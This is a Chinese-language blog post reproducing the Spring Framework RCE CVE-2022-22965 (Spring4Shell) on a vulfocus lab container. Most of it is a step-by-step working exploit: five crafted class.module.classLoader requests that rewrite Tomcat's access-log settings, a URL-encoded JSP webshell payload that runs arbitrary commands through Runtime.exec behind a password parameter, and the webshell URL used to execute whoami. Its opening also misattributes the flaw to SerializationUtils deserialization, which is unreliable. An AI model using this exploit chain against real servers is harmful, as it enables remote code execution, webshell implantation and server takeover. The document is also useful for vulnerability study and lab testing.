(2022年12月最新)spring-core-rce漏洞复现CVE-2022-22965

1、漏洞简介

2022年3月29日,Spring框架曝出RCE 0day漏洞。已经证实由于 SerializationUtils#deserialize 基于 Java 的序列化机制,可导致远程代码执行 (RCE),使用JDK9及以上版本皆有可能受到影响。
通过该漏洞可写入webshell以及命令执行。在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并写入任意路径下的文件。

2、漏洞利用条件

1、Apache Tomcat作为Servlet容器;
2、使用JDK9及以上版本的Spring MVC框架;
3、Spring框架以及衍生的框架spring-beans-*.jar文件或者存在CachedIntrospectionResults.class

3、漏洞复现

1、使用vulfocus靶场

docker pull vulfocus/spring-core-rce-2022-03-29:latest

2、分5次分别运行以下代码:

http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

3、访问http://xxx.xxx.230.165:27379/?shell.jsp,出现spring说明写入成功
在这里插入图片描述
4、访问地址http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring ,使用Burp进行抓包,替换pattern后的内容为如下payload,

```bash
%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

5、将如下参数带上,之后使用Burp进行发包

suffix:%>//
c1:Runtime
c2:<%

在这里插入图片描述
6、出现OK后,就可以访问http://xxx.xxx.230.165:27379/shell.jsp?pwd=t&cmd=whoami,即可执行任意代码
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq1140037586/article/details/128391974